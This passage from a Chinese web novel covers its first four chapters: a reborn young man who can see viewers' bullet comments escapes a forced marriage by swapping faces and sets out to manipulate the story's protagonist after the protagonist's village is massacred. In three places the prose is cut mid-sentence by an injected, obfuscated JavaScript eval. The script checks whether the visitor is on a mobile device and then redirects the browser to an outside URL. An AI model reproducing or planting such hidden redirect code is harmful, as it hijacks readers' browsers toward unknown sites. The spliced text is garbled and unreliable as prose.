《小狗?不,是男鬼》 1. 佛流星 「弹幕接入中——」 「弹幕接入完成。温馨提示:请各位友人遵守弹幕礼仪,禁止发布垃圾广告、人身攻击、低俗词汇、私人信息、恶意刷屏、辱骂、引战、剧透、KY等信息,如有违反,将按照2047年最新颁布的《互联网信息安全条例》处以全网平台一年以上、三年以下的禁言处罚。请友人们善用举报,祝观看愉快。」 「啊啊啊啊!佛流星终于开播了啊啊啊!!!」 「嗯?怎么现在看个动漫前面还有那么长一段文字啊?」 「前面的你是不是太长时间没看番没看剧了啊,今年年初网络安全条例更新后全互联网平台的节目无论是动漫、电视剧还是综艺片头都加上弹幕礼仪提醒了」 「别管这些了,怎么弹幕礼仪提醒过后这屏幕还是黑的呀?」 「对哦,怎么还是黑的?」 「啊,亮了终于」 「亮了亮了!」 「嗯?」 「嗯??」 「嗯???」 「大家……是不是同一个想法……」 「不是,这人谁啊?」 「不是,这是哪儿啊?预告里不是在主角从小长大的的青梅村吗?」 「这怎么看都不像是青梅村吧?」 青遮沉默地看着眼前飞过的一行行自称弹幕的文字,他是被疼醒的,大脑还陷在不久前自戕的情绪里拔不出来,整个人迟钝又漠然。 这是什么东西?他尝试碰了一下弹幕,空的,手直接穿了过去。 这是梦? 青遮摸了摸心口的位置,那里的伤已经没有了,连同那些粘稠的、腥气的液体也都不见了。 这一定是梦。 青遮很冷静地想。 我当时明明都快把我心脏捅穿了,现在怎么可能没事呢。 “青遮!青遮!你醒了是吗?”门外忽然传来?哐哐哐的敲门声,还没等青遮出声,对方就自顾自擅作主张地推门进来了。 “你果然醒了,我就说我没听错动静。”脑后扎着小辫儿的少年眼前一亮,喜滋滋走过来装模作样地要去揽青遮的肩膀,“我是来告诉你好消息的,你知不知道……哎呦!” 几乎是下意识的,青遮钳住对方摁在他肩膀上的手,干脆利索地往后一掰,直接掰脱臼了,非常清脆的“嘎嘣”一声,不止疼得金荣顿时嗷嗷叫起来,连弹幕都被他吓了一跳。 「我去,反应好快」 「这声音听得我都骨头疼」 「这么厉害?看脸我还以为他是个花瓶路人呢」 「我感觉他的脸过于精致了,不可能是路人」 “啊啊啊疼!疼!你、你要干什么!”金荣疼得脸煞白,声音尖锐地跟把匕首似的,刺得青遮脑仁疼,不过也把他喊清醒了不少,反应过来后立刻把他骨头接了回去,松开了手。 金荣龇牙咧嘴地捧着自己的胳膊,作为金门宗宗主的儿子,他还从来没被人这么对待过,要不是现在有求于青遮,他早翻脸了。 “欢喜门的白万仇来接你了,就在外面。”金荣勉强挤出几分笑意,见青遮一副愣住的样子,又有些慌,他不会改主意了吧? “我告诉你啊,临时反悔可不行。”金荣语带威胁,“你别忘了,你是我们金门宗养大的,你得报恩!而且白万仇可是欢喜门的三当家,既不嫌弃你是个炉鼎又不嫌弃你没法修炼,你还不知足?像你这样的……” 后面的话青遮逐渐听不进去了,他有些恍惚,因为这些话不久之前他才听过一遍,一模一样。欢喜门是个大宗派,三当家看上了他来要人金门宗不可能不答应,说不定心里还乐呵着呢,虽然金门宗从某种程度上来说也确实把他养大了,但一直养一个不能修炼的炉鼎在宗门内说出去实在是太掉面子了。 青遮其实比任何人都想的开,他没什么深远广大的志向,不能修炼就不能修炼,是个炉鼎就是个炉鼎,尽管“炉鼎”两个字一出基本上别人投过来的目光都会带上龌龊的觊觎和贪婪,更别提他的体质在炉鼎里还算是上上乘。 他只是想活下去,像个普通人一样就好了,哪怕是以嫁给别人、做为丈夫附庸的方式。但他万万没想到,白万仇压根就没看上他,准确来说是压根没见过他,他只是金门宗因为宗门内周转不开所以用三枚回真丹卖给白万仇的货品而已。 三枚回真丹,我可真够值钱的。 青遮嘲讽一笑,打断了还在喋喋不休的金荣,“现在就要走?” 金荣松了口气,“对,就现在。” “我知道了。”青遮微微一笑,当然里面包含了多少真心又包含了多少假意只有他自己知道了,“我会好好准备的。” 面前的弹幕卡了一下,然后突然跟抽疯了似的飘过去大段大段的文字。 「卧槽,他笑得好好看……」 「麻麻,我看见了天使!」 「好吧,我决定原谅这诈骗动画一秒」 「我刚来,为什么说是诈骗动画啊?」 「前面的,因为预告里全是主角褚褐的少年时光啊,结果正片一打开,都五分钟了还停留在这个房间里呢」 主角? 青遮眼眸微动,这像是话本子一样的称呼带给他的感觉非常不好,就像自己是生活在书里的人一样,再加上金荣进门后对弹幕的无视,看来是只有自己能看见这东西了。 这算什么?重生赠礼? 是的,青遮已经确定了,他应当是重生无疑,虽然不确定具体原因,但既然都再来一次了,他当然不能像上辈子那样落得一个自尽的下场,都没能把他的仇人拖下水就死了。 所以现在,最应该做的事情是—— “喂,你在收拾个什么呢,还没准备好吗?” “好了。”青遮敷衍,随手抽出木架子上的戒尺,趁金荣还在絮絮叨叨的时候一尺子敲在他后颈,力道和位置都掌握得很好,直接敲晕了。 「就……这么水灵灵晕了?」 「我去这也太弱了,不是说青遮是个不能修炼的炉鼎吗?」 「估计是因为太轻敌了」 「轻敌也不能一挨就晕吧?估计他平时也不怎么上心修炼」 还真猜对了,金荣修炼不知道都修了多少年了还没筑基呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060191|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金老宗主急得不行,那三枚回真丹里有一枚就是被金荣预定了,所以他才火急火燎地亲自过来找青遮,生怕他跑了。 「太好了!这小子前面逼逼叨叨说了一堆道德绑架的话,我还以为漂亮小哥哥信了呢」 「问题是,他现在一棒子给人干倒了,他还是逃不了啊,不是说没有修为吗?」 这一点青遮当然知道,不过对他来说并不是难事,他虽然是个不能修炼的炉鼎,但平日里研究的东西也足够保命。 青遮割破自己和金荣的食指,挤出来点血混合着自己炼制的易容丹药粉,豁楞豁楞分别服了下去,看着金荣的脸一点一点变成自己的模样,他又把两人的衣服对调穿上,戒尺和收拾好的包袱丢进镯子里,一切都很完美,他要开始一场奔向自由的逃亡了。 还差一样。 青遮抬头看了一眼聊得热火朝天的弹幕。 还差一条好狗,听话、好用、还能保护他,最关键的是,能夺舍。 炉鼎体质其实很好解决,换一具能修炼的身体就好了,最好还是修无情道的,比较符合青遮审美。 「换脸?卧槽,还能这样?」 「以牙还牙以眼还眼了,谁让那个谁不怀好心」 「虽然,我很爱这位小哥哥的颜,也很欣赏他的头脑,但是——我是来看褚褐的啊」 「就是,主角呢?主角呢?」 「主角大概还在村里摘青梅吧」 「笑死,我头一次遇见天选之子是个果农的情况」 「作为未来救世主第一集出场时间还没有个路人长?这么没排面?」 「这个小哥哥脸这——么——好看(比划),应该不可能只是个路人吧」 主角。天选之子。救世主。正向的头衔压得像座山一样。青遮眼睛快速划过每一条带着褚褐名字的弹幕,慢慢拼凑起一个意气风发少年郎的大致轮廓来。 有点像他看过的话本里的所有主角的集合体,意气轩昂,赤忱好骗,拥有极为优秀、适合修炼的身体和一点就通、举一反三的天赋。 简直就像是为他量身定制的。 青遮嘴角慢慢扬起弧度。 那就,选他好了。 “少宗主,少宗主,三当家开始催了。”门外传来金荣手下的声音。 青遮调整声线:“知道了。” 他打开门,示意了一下晕倒在桌旁的金荣,“他临时反悔,被我下药迷晕了,就这么交给三当家就行。” 经过他改良过的易容丹药效能维持整整三天,到时候该做的不该做的估计已经通通做过一遍了,至于金荣到底是会崩溃大哭还是会乖乖留下来都不关他的事,毕竟那个时候他估计已经到青梅村找那位所谓的主角了。 弹幕上有一条说的好,以牙还牙,以眼还眼,你既然上辈子为了几颗丹药就把我卖到了别人床上,那就不要怪我以同样的方式来对待你。 青遮冷冷地目送手下的人把金荣抬走,他刚刚已经和那些人说过了,他,也就是“金荣”要闭关一个月,这样就避免了有人找他。 最后一环扣上了,他也该启程了。 2. 三千尺 今天五月初七,离青皮节还有三天。 王平在天还没亮的时候就被他老娘拧着耳朵喊起来了,咋咋呼呼地指责他没眼力见儿。 “你眼里有点活儿行不行!”王大娘恨铁不成钢,手指头快戳进王平脑子里了,“你看看人褚家伢子,鸡叫第一遍就利索儿爬起来上山摘青梅去了,你倒好,还在榻上睡得跟头猪一样!” 王平提着一只鞋单脚跳跳跳,边矮着身子躲边嗷嗷喊:“娘!娘!别打了!你别看褚哥起得早,他才不是去摘青梅了,他一定又跑到外面镇子上找什么仙人去了……哎呦!怎么还打啊!” 王平麻溜儿套上鞋,撒腿就跑,气得王大娘一抹布摔桌子上摔得啪啪响。 王平一路跑到村口儿的青梅树那儿才敢停下来喘口气,主要是他老娘真能做出来撵着他满村窜的事,所以他跑的时候连头都不敢回。 “哟,王平,你这是又被王婶儿打了?”一道少年气十足的声音从上方传过来,王平一抬头,果然是褚褐。 “褚哥啊,你可害惨我了。”王平一见到他就开始大倒苦水,“算我求你了,下次你早起能不能别往我们家门口溜达,每次我娘一见着你天不亮就上山摘青梅,就会骂我不上进,我实在是受不了了,快到青皮节了私塾好不容易放几天假,我就想睡个好觉而已。” “你以为我不想睡个好觉?”褚褐动作灵活地从树上跳下来,“你也不想想为什么我起那么早,还不是被逼的。” 王平立刻闭上嘴不说话了。褚褐爹娘死得早,他一直被村长收养着,不过村长自己膝下就有两个孙子一个孙女,所以对褚褐一点都不上心,动辄打骂都是常事。不过褚褐自己本人心态超好,肩膀都一片青连着一片紫了还能笑嘻嘻地来私塾读书,要换他,怎么不得躺个十天半个月的。 “诶褚哥你是不是又跑到小镇上找仙人去了?” 据说褚褐的爹娘都是修士,也就是王平口中的仙人,修士这个正式一点儿的词还是褚褐扒拉他娘留下的几张书页得出来的。褚褐打小就认为自己身体里流着修士的血,为了不给爹娘丢人,也为了传承家业,他怎么着也得跟着他爹他娘的步伐修仙去。 不过对于青梅村里的人来说,修士、仙人什么的离他们太远了,他们只关心今年的雨水怎么样、种下去的青梅够不够肥美、能不能酿成好品质的酒拿去卖,所以对于褚褐想成仙的念头全村人都觉得他是痴心妄想、脑袋被村长打傻了,连王平都这么觉得。 “我今天还没去呢,我刚摘完村长家的青梅。”褚褐甩甩酸了吧唧的胳膊。 “那行,褚哥你去找吧,我还要去摘我家的青梅呢,今天要是再摘不完就赶不上青皮节了。” 要是真没赶上他娘非得往死里抽他不可。 为了不挨这一顿藤条,王平难得勤勤恳恳趴树上规规矩矩地窝着,结果趴了还没一盏茶的功夫呢,他娘就过来喊他了。 “还摘呢,快!快下来!”王大娘扯着他的胳膊就往村长家走。 “娘,干啥呀,不是你让我加紧摘的吗?” “摘个屁,村里来仙人啦。” 王平大吃一惊,“真的假的?是来接褚哥走的?” “哎呀谁还管那孩子啊,仙人提都没提他,仙人是来收徒的。”王大娘眉飞色舞,“你说你要是被选中了,你以后一辈子就不用摘青梅了,你就……那词儿叫什么?飞、飞……” “飞黄腾达了。” “对!飞黄腾达了!咱家也跟着沾光了!” 虽然嘴上对褚褐寻找仙人这件事王平是嗤之以鼻的,不过真发生在他身上,他也一样激动得很,本来他还想跑镇子上把褚褐喊回来,结果听见老娘嘟嘟囔囔说什么仙人只要资质好的,他立刻打消了把褚褐叫回来的想法。 现在还不知道仙人要收几个徒弟呢,万一褚哥把他名额占了该怎么办。 王平有些心虚,但很快又安慰自己,褚哥那么聪明,他肯定有更好的出路。 王平理理自己的衣服,半途还破天荒地到河边洗了把脸,好歹把自己捯饬的干净了点,才自信心满满地踏进村长家的门。 “刚说着就来了。”村长向他招手,“仙人您看看,这就是我们村里最后一个孩子了。” 王平刚刚还雄赳赳气昂昂,此时真见了人又不敢抬头了,腿肚子直打转。 “不用紧张。”为首的白衣人摸摸胡子,“你好啊,小道友,抬头让我看看。” 小道友!仙人喊我道友! 王平激动不已,赶忙把头抬起来,几位白纱飘飘的男子簇拥着坐在首位的老者映入眼帘,太符合他对仙人的幻想了,但不知道为什么,他总觉得哪里怪怪的。 “这孩子看着还不错。”老者点点头,“来,走近点。” 王平上前几步,老者把着他的手腕摸来摸去,摸得他浑身不自在。 村长杵了他一拐杖,“别乱动,仙人摸骨呢。” 王平差点被这一拐杖杵得跪地上,觉得丢脸的王平在心里不服气地咕哝,等我当上仙人了我一定要报这一拐杖之仇!还有经常看不起我嫌我脏的村长孙女,到时候我就把自己洗得喷香儿喷香儿的,然后买好多好多漂亮衣服穿上…… 等等。 王平忽然反应过来,他知道哪里不对劲了,是气味,他怎么在这些仙人的身上闻到一股很腥很腥的味道? “仙人是刚刚吃了鱼吗?”王平觉得自己离当仙人已经八九不离十了,学他娘平日里和镇子里商贩讲话的样子试图和老者套套近乎。没想到话音刚落,面前的老者脸色一下子微妙起来。 “这位小友,鼻子挺灵啊。” 老者似笑非笑。 虽然听不懂,但王平还是莫名其妙打了个哆嗦。 “王村长,你们村里所有孩子都在这儿了吧。” “对,对,一个不落。” 老者意味深长:“那就好。” _ 褚褐在水镇游荡了一天,吃了一屉包子、两串糖葫芦、三块桂花糕,还喝了碗莲藕排骨汤,最后摸着肚子心满意足地躺在客栈门口的条凳上晒太阳。 “哟,这不是褚家伢子吗?又来找仙人啦?” 路过的有认识他的拿他打趣,他也不恼,挥挥手应承下来便继续眯着眼睛休息,直到有道从未听过的声音在耳边响起: “小公子,青梅村怎么走?” 春风拂面。 对,就是春风拂面,语气音调都是细细柔柔的,又文气又礼貌,别说是青梅村,就连在水镇,褚褐都没有听到过这么特别的声音,他立刻睁开眼往上一眺,一张美人面映入眼帘,他看的一痴,整个人直接从条凳上摔下来了。 青遮被他吓了一跳,连弹幕都唬住了。 「这是吓到了?」 「我们的主角好像不怎么聪明的样子」 「原谅孩子吧,他到底是没见过漂亮人儿啊」 「不过说实话,褚褐比我想象中的要更嫩啊,这脸小的」 青遮也是这么想的,他原本以为对方和自己差不多大,没想到还是个少年,不过个子倒是挺够看,都快长到自己肩膀的位置了。 “对不起对不起!”褚褐手忙脚乱地爬起来,“我没躺稳当,吓到您了不好意思。” 您? 青遮觉得挺有意思,他还从未被人这么尊敬地称呼过“您”。 “无妨,应该是我吓到你了才对。” 青遮嘴角尽量扬起带着些温和色彩的弧度,不知道对面尚且年幼的救世主能不能看出来他的僵硬,毕竟他实在不擅长露出带着善意的笑。 “小公子,你知道青梅村怎么走吗?” “我知道我知道。”褚褐拽了把自己皱皱巴巴的衣服下摆,尽量让自己看起来规整点,不那么丢人,“我就住在那儿,我带您去吧。” 他话说一半就转过身领路去了,青遮跟在他身后,打量着他的背影,心里由于长时间赶路得不到休息而攥紧的难受情绪消散了些。 青遮实在没想到青梅村离金门宗会这么远。他扒了金荣身上所有的钱换了缩地符,再靠着几个大城和大城之间免费提供的传送阵,赶了两个月才在今天赶到水镇,在见到要见的人的时候,这口一直憋在心里的气终于可以吐出去了。 不管怎么说,死掉一次再活过来,哪怕心里再窃喜再庆幸也依旧会有种不真实的梦感,他迫切需要找件实事做做来抵消这种如梦似幻的感觉,所以,在看见自己选中的目标出现在视线里时,提起一半的心总算放下了。 不过一细琢磨对方是自己找来用来夺舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060192|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,这份安心就显得有点假惺惺的了。 “您来青梅村做什么啊?” “找人。我有位故交的儿子据说住在这里。” 褚褐的心一下子跳起来,几乎迫不及待地转过头:“您那位故交叫什么?” 青遮听出了他言语里的迫切,但并没有说透,“叫什么其实我并不知道,说是故交也只不过是高攀,那位女子仅仅是救过我一命,和我交谈过几句,照顾过我几天,是我不自量力地想报恩,所以来这里碰碰运气。” 这一段里除了第一句,其他全是假话。青遮通过弹幕大致了解了褚褐的一点身世,是真的只有一点,父母的样貌、性格、名字一概不清楚,他只能瞎编,还特地选了母亲的形象,毕竟母亲在稚童心里会留下更加深刻的印象。 青遮没赌错,褚褐听到“那位女子”时眼眶里就开始充盈起泪水了,他连忙把头转回去,抬起袖子狼狈地擦了两下,“您、您能告诉我,您的名字吗?” 居然真的信了。没有怀疑。也没有踌躇。 青遮带着些高高在上的怜悯看他,开口,“我叫青遮。” “青遮公子。”褚褐再回过头来的时候眼泪已经干了,半点流过泪的样子都看不出来,又是一名神采飞扬的少年郎,一双笑眼是亮的,璀璨如星。 “不必喊我‘公子’,也不必称呼‘您’,直接叫名字就好。” 褚褐一直是个自来熟的人,眼大心也大,很多事情不会多想也不会放在心上,否则他早就拎着老村长的耳朵一顿好打了。 不过此时却难得生出了矜持的态度,磕绊了很久才念出来青遮的名字。 「哟哟哟,脸红什么呀」 「嚯,主角这么纯情的吗?喊个名字都能脸红?」 「啧啧啧,青春啊」 「啧啧啧,青春啊」 「啧啧啧,青春啊」 青遮连猜带蒙看懂了七八分弹幕想要表达的感情,没忍住勾了勾嘴角,又把褚褐迷了个七荤八素。 弹幕说的没错,褚褐的确没见过什么漂亮人儿,准确来说他对美丑没什么具体的认知,只有一个笼统的概念。褚褐从记事起就在青梅村窝着了,村里的人都说他娘是个标准的大美人,他爹是个飒气英俊的书生模样,他算是沾了光,集结了爹娘样貌上的所有优点,从小到大靠着这张脸赚了不少便宜,嘴甜一点喊声姐姐哥哥奶奶爷爷的,就能不花一个铜板赚到一堆吃的。不过褚褐本人倒不觉得自己的脸有什么值得称赞的地方,也就那样,大家都是一张皮上两窟窿,对于王平放在心里暗恋许久的村花也不觉得有多漂亮。 可是今天一见到青遮他整个人就痴了,跟喝醉酒一样。他也说不上来为什么,就是感觉青遮和其他人不一样,其他人都是灰扑扑的,青遮是散发着柔和的光的。 “我先带你去见村长吧,我们全村的人他都很熟,说不定就能找着你故友儿子了。” 褚褐已经百分百确定自己就是青遮要找的人了,因为除了他,青梅村其他人都是土生土长、一辈子都没离开过村落的,怎么可能认识像青遮这样的人物呢。 之所以不挑明,他是有自己内心的小九九的,要是发现自己苦苦寻找的故人之子就是邂逅相遇带路的人,恩上加恩,这缘分,话本子都不带这样写的。前面忘了说,褚褐是实打实的话本迷。 “到了到了。”褚褐推开院子的竹门,咕哝着,怎么这么冷清,现在不应该热火朝天地洗青梅、晾青梅为青皮节做准备吗? “村长爷爷,有客人来了,你在……” 褚褐的手将将放在门环上,还未推,风就吹开了没关结实的门。 两条腿大剌剌垂在他眼前,随着风劲一晃一晃,扣着门板发出嗒嗒的缓慢响声。褚褐像是凝固了,瞳孔收缩,眼神沿着地面的血迹慢慢飘到里屋一具具尸体上,然后收回来,再飘过去。 这是怎么了?大家是睡着了吗? 大脑开始保护性地进行分析,褚褐没注意到他的冷汗沿着额头滴了下来,也没注意到紧攥着门环的右手抖得厉害,带着门环扑簌扑簌响个没完。 忽然,一道银灰色的影子劈开了他眼里鲜红色的景,随即,一只冰凉凉的手覆在了他眼睛上。 “别看了。” 手的主人如是说。 3. 远山泊 一盏茶、也许两盏茶,当然更可能是过了一炷香,等到褚褐再次听见心脏跳动的声音、感受到风吹过头发刺挠着脸时,他已经坐在村口的青梅树下了,青遮站在他旁边,手里握着把银灰色木头做的戒尺,上面还滴答着血。 “回神了?”青遮看见他视线的方向,把戒尺往背后藏了藏,“第一次见死人?” 褚褐张张嘴,第一下没发出声音,第二下才勉强出了点气音:“……嗯。” 普通人见着死人反应各异,害怕晕厥吓哭甚至失禁都存在,吓懵了也不是什么奇怪的事情,只不过—— “你看起来好像并不伤心。” 只不过那是养育他长大的村落,全村上下三十二户被屠连条狗都不放过,他给出的反应却只有沉默。 “我……我不知道该不该哭……” 从小到大褚褐总被村里人说是个心大的夯货,别人骂他了打他了不哭也不恼,总是笑嘻嘻的,跟个傻子似的。褚褐其实知道村里人不太喜欢他,因为他父母是从外面来的,像这种报团的小村落都有点排外,更何况他爹娘还死在了村子里,当时还被说了好久的不吉利。 褚褐不是不记仇,他只是觉得没必要。他读了父母留下的很多书,见过了书里成百上千的人,也见过了成百上千的世界,当一个人看得远了,眼下的琐碎就不太能构成绊脚的石头了,他每天都干活挣饭钱,为的就是有一天能够离开村子,找仙人修炼去,像他爹娘一样。 然后,仙人来了,村落却也没了。 “想哭就哭。” 青遮随手取了块不知道谁的衣服布,细致地擦拭着沾上血的戒尺,其实银钊木不沾血,否则怎么对得起它那千金价格,只不过青遮手里的这把算是个赝品,别的料子里掺着点银钊木,还远远达不到不沾血的地步。 “如果害羞我可以背过身。” “哭不出来。”褚褐很老实地说,“我现在只觉得背上、腿上还有胳膊上的伤很疼。” 都是以前被打的,具体被谁打的倒不记得了,人太多,忘了。 “那你现在想做什么?” 对啊,我现在要做什么啊。 褚褐望着村长家的位置发了会儿呆。 “那,把他们都埋了吧。” 于是青遮就这么倚着背后的青梅树,看着褚褐一个人吭哧吭哧搬着尸体,搬一具就白着脸干呕一会儿,还相当硬气地拒绝了他的帮忙。 “我想自己来。” 最后太阳快要掉到山腰了,三十二个土包包终于堆在了树的后面,像三十二座护村的石像。 “对不起,本来你是来找人的,结果却遇上这档子事。” 青遮不明白他为什么要道歉,不管怎么说,情绪最复杂的都应该是他,而不是事不关己的自己。 「呜呜呜我要哭了,棕棕是好宝宝」 「说实话,青梅村也就是把他养大了,其他什么恩情都没有」 「什么叫把他养大了,明明是棕棕自己打零工赚钱买饭吃,村长给的饭完全不够的好不啦」 「虽然知道青梅村对棕棕一般般,不过全死了看着还是让人有点难过……」 「因为他们只是性格上有缺陷的普通人,又不是什么十恶不赦的恶人」 「拉倒吧,棕棕爸妈死了他们跟踢皮球似的把他踢来踢去,村长最后捏着鼻子不得已养下了他也动辄打骂,难过什么呀」 「前面的,不能这么说吧,有点激进了」 「反正我就这样想的」 「其实我还蛮理解这位的想法的,大概是十恶不赦的恶人离我们太远,我们身边更多的是像青梅村这样的有一点缺点、有一点坏的普通人,所以更容易产生厌恶」 「我、我无意参与争吵,我有个问题」 「问呗,嗐没事,也不是争吵,大家都是交流想法,我们之间又没仇,这吵啥」 「我就说想问,为什么叫褚褐棕棕啊?」 「嗯?看不出来吗?褚褐——褐——棕棕」 「哦哦哦」 「先不论青梅村的人怎么样,他们死了棕棕该何去何从啊」 「跟青青走啊,他们还能组个颜色CP」 「青、青青?青遮啊?」 「嚯,这就磕上了」 磕? 青遮瞄了一眼腿,是他想的磕吗? 「话说回来,官方有解释过预告和正片不一致的问题吗?」 「没呢,有博主分析应该算是导演的创新,用路人视角展现主角的一切,毕竟柿子导演的确喜欢玩新东西」 「不过青青看起来可不像路人啊,他给我的感觉更像是主角成长路上的老师,前期靠他发育,成熟了就可以死了(不是」 「我靠,我也有这种感觉」 「但既然靠青青拉视角,应该不会要他早死吧」 那还真是对不住,这按照上辈子的节奏,我现在已经死透透的了。 青遮自嘲。 “你现在该怎么办?” “嗯?” 褚褐抬头,露出一张布满尘土的脸,像个刚在泥巴里打过滚的小孩,这下真成“棕棕”了。 看来真得要带一段时间小孩了。 “你要不要跟我走?” 青遮走近,稍微弯了弯腰,比蹲着的褚褐高出一点点,装出来的温和似水的目光牢牢攥住了褚褐的所有注意力。 “我……走?” “要不要跟我走?”青遮又问。 「我走我走!我走!青青看我啊!看我看我!」 「哈哈哈哈哈哈前面的这位疯了」 「这么一张脸搁你面前邀请你你能拒绝?!反正我不能拒绝,他就算是割我腰子我也要坚决地跟!他!走!」 「不不不,朋友,这不至于不至于」 褚褐近乎是凝视着青遮的脸。 “你是不是知道我是谁了?” “你和你娘长得很像。” 只一句,褚褐压抑了许久的泪水终还是落了下来,滴滴答答坠在刚堆好的新土上,砸出一个个圆溜溜的坑来。 “是吗……我和阿娘长得很像吗?” “嗯,很像。”青遮撩了一下褚褐被风吹到脸颊上的发尾,觑着他的神色猜测着他的心情,继续调动脑中为数不多的软话安抚他,“尤其是眉眼。” 「嚯,要不是我一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060193|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追过来我都信了」 「青青还真是蛇蝎美人啊」 「我有点没看懂,为什么青遮要撒谎啊?」 「我记得官方说过青遮是有自己的目的靠近棕棕的,具体的得我们自己往下看」 「这番发言确定不是在钓我们吗?」 「钓了就钓了,反正到目前为止佛流星画面、人物、音乐都能达到九分以上,先看着呗」 “我跟你走。”褚褐顶着双通红通红的眼抓紧了青遮的衣服,“我要修炼,我要飞升,我要为他们报仇。” 报仇? 青遮目光在土包包堆里转了一圈。 他刚刚在褚褐懵住的那段时间里察看了整座村庄,的确有法术的痕迹,还做的相当明显,生怕别人看不出来一样。 一般修士不会无缘无故杀掉普通人,做到这么大阵仗的只有可能是大宗门,再加上这法术痕迹—— 是八岐宫,虽为五大宗之一却臭名昭著,曾经还大张旗鼓地炼过人丹,不过被其他四宗联手压下来后就再也没有开过人丹炉了,然而也有传言说他们私底下依旧做着龌龊事,只是没有以前那么明目张胆了。 但是八岐宫为什么会屠杀一个普普通通的小村落呢?难道和褚褐有关系? “报仇不是那么简单的事情。”青遮抬着褚褐的胳膊把他拽了起来,“他们不是好惹的。” 褚褐急切:“你知道是谁杀了大家吗?” 青遮没打算瞒他:“八岐宫,五大宗之一,虽然在里面只排了个末位但都能进入五大宗的名次了,他们可不是简单的货色。” “我一个人杀不了他们吗?” 少年是无知的,不过好歹有份胆量。 “杀不了。”青遮松开手,示意褚褐跟上他,“你现在要做的是拜师学艺,找一个靠谱的师父比什么都重要。” 褚褐几步跟过去,“你不能教我吗?” “不可以。” 青遮瞒下了自己不能修炼的事情,现在褚褐还是个未经他手驯化的野狗,自然不能将自己的底细托盘而出。 “我修炼的功法你用不了,况且我也提供不了大型的秘宝、功法给你,还是加入宗门可靠些。” “那我应该参加哪个宗门?” “这就要看你自己了。”青遮伸出手掐算了一下时间,“你很幸运,还有三个月五大宗十年一度的招生试炼就要开始了,从这里赶到不周山,时间应该刚刚好。在这三个月内,我会教你一些最基本的法术防身,剩下的就靠你自己了。要是不愿意,现在就可以转身离开了。” “不,我愿意。我会努力的。” “那好。”青遮伸出手,“过来。” “什么?” “我还剩几张缩地符,勉强能省下些脚程。把手给我。” “哦。”褚褐乖乖把手送了过去。 “你是第一次用缩地符,可能过程中会不太舒服,你忍忍。” “什么?诶!!!” 刚拉上手,褚褐还没得及矜持一下,一阵天旋地转包裹住了他,像被扔进了正在滚坡的木桶里。 这叫不太舒服吗? 这也太不舒服了吧! 4. 凤头山 “诶,听说了没?凤头山的乔老二又要嫁女儿了。” “又嫁?这都第几次了?四次了吧?” “第五次啦。” “不是,她居然还能嫁的出去?” “就是就是。” “也是稀了奇了,她嫁一次就死一次丈夫,还有人敢要她啊。” “说不定,她是有点那什么的技巧……” 后面的话逐渐变得不堪入耳起来,青遮自动忽略了那些夹杂着莫名恶意和高高在上审视的内容,倒是坐在他对面的褚褐看起来表情冷得很。 「我去,一开屏就是智障发言啊」 「我真想进去抽他们嘴巴子」 「带我」 「加一」 “别听了。”青遮拿茶盖点了点桌子,提醒,“你掉脸掉的太严重了。” 褚褐低声:“他们嘴太碎。” “是。”青遮轻飘飘瞥了那边话题已经从乔家嫁女讲到哪家艺楼曲子比较好听了的高谈阔论的一群人,“可你管不了他们,更准确来说,你管不住他们。” 褚褐从袖子里抽出张符,“但我可以教训他们。” 是离火符。 青遮眼皮轻微一跳。 这张符的画法他昨天才教了他,在没有任何灵力加持的情况下居然今天就可以画出可以用的版本了,应该说不愧是主角吗?真是令人羡慕的天赋。 “欸,话说回来,这次乔老二嫁女儿我们是不是又可以去讨酒吃啊?” “你要不说我都忘了,肯定可以啊,他家每次都大摆宴席三天,人都用不过来。” “等等。”青遮一把摁下褚褐蠢蠢欲动将要施符的手,侧过耳仔细听,在捕捉到“缺人”、“工钱还不少”等字眼后,眼睛一亮,立刻把刚刚脑子里规划好的省钱计划抛到了九霄云外。 他之前一直待在门派里从没出过金门宗的山门,虽然宗里一直在克扣他的用度但好歹还是能吃得起饭的。如今出门在外失去了每月的固定用度,他才发现什么叫一铜板难倒英雄汉,他真后悔当时没在金荣身上多扒点钱出来。 嗯,如果去帮工的话,三天下来赚的钱绝对够路费了,说不定还能换几张缩地符、吃几顿好饭,毕竟小狗还在长身体—— 他把头转了回来,然后就看见了脸爆红的褚褐。 “你怎么了?” 「乖乖,我就眨了一下眼,棕棕怎么就红成了个苹果了?」 「不儿,我很能理解他和青青初见的时候脸红,毕竟孩子是真没出过镇子,也是真没见过漂亮人儿,但是他们同行有一个月了吧,一个月了啊!天天看天天看,再好看也免疫了吧?!不就碰一下手吗!不就碰一下手吗!(怒吼)那个,青青老师,也请碰碰我(乖巧伸手)」 